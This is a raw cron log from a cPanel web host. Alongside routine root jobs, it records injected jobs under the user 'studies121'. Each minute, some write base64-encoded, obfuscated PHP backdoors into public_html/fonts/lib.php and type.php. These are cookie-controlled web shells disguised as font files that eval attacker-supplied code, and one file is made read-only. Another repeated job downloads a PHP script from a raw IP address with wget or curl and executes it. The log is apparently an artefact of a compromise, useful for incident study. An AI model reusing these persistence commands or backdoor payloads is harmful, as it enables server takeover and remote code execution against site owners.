Sep 11 08:09:01 ip-184-168-122-23 CROND[29719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:09:01 ip-184-168-122-23 CROND[29720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:09:01 ip-184-168-122-23 CROND[29721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:09:01 ip-184-168-122-23 CROND[29722]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29903]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:10:01 ip-184-168-122-23 CROND[29905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:10:01 ip-184-168-122-23 CROND[29910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:11:02 ip-184-168-122-23 CROND[30010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:11:02 ip-184-168-122-23 CROND[30013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:11:02 ip-184-168-122-23 CROND[30011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:11:02 ip-184-168-122-23 CROND[30012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:12:01 ip-184-168-122-23 CROND[30113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:12:01 ip-184-168-122-23 CROND[30114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:12:01 ip-184-168-122-23 CROND[30115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:12:01 ip-184-168-122-23 CROND[30118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:12:01 ip-184-168-122-23 CROND[30117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:13:01 ip-184-168-122-23 CROND[30198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:13:01 ip-184-168-122-23 CROND[30200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:13:01 ip-184-168-122-23 CROND[30201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:13:01 ip-184-168-122-23 CROND[30202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:14:01 ip-184-168-122-23 CROND[30315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:14:01 ip-184-168-122-23 CROND[30317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:14:01 ip-184-168-122-23 CROND[30318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:14:01 ip-184-168-122-23 CROND[30319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:14:01 ip-184-168-122-23 CROND[30316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30500]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 08:15:01 ip-184-168-122-23 CROND[30502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:16:01 ip-184-168-122-23 CROND[30608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:16:01 ip-184-168-122-23 CROND[30614]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:16:01 ip-184-168-122-23 CROND[30611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:16:01 ip-184-168-122-23 CROND[30610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:16:01 ip-184-168-122-23 CROND[30613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:16:01 ip-184-168-122-23 CROND[30612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:17:01 ip-184-168-122-23 CROND[30718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:17:01 ip-184-168-122-23 CROND[30721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:17:01 ip-184-168-122-23 CROND[30719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:17:01 ip-184-168-122-23 CROND[30720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:18:01 ip-184-168-122-23 CROND[30810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:18:01 ip-184-168-122-23 CROND[30811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:18:01 ip-184-168-122-23 CROND[30813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:18:01 ip-184-168-122-23 CROND[30818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:18:01 ip-184-168-122-23 CROND[30817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:19:01 ip-184-168-122-23 CROND[30943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:19:01 ip-184-168-122-23 CROND[30946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:19:01 ip-184-168-122-23 CROND[30945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:19:01 ip-184-168-122-23 CROND[30947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:20:01 ip-184-168-122-23 CROND[31124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31123]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:20:01 ip-184-168-122-23 CROND[31126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
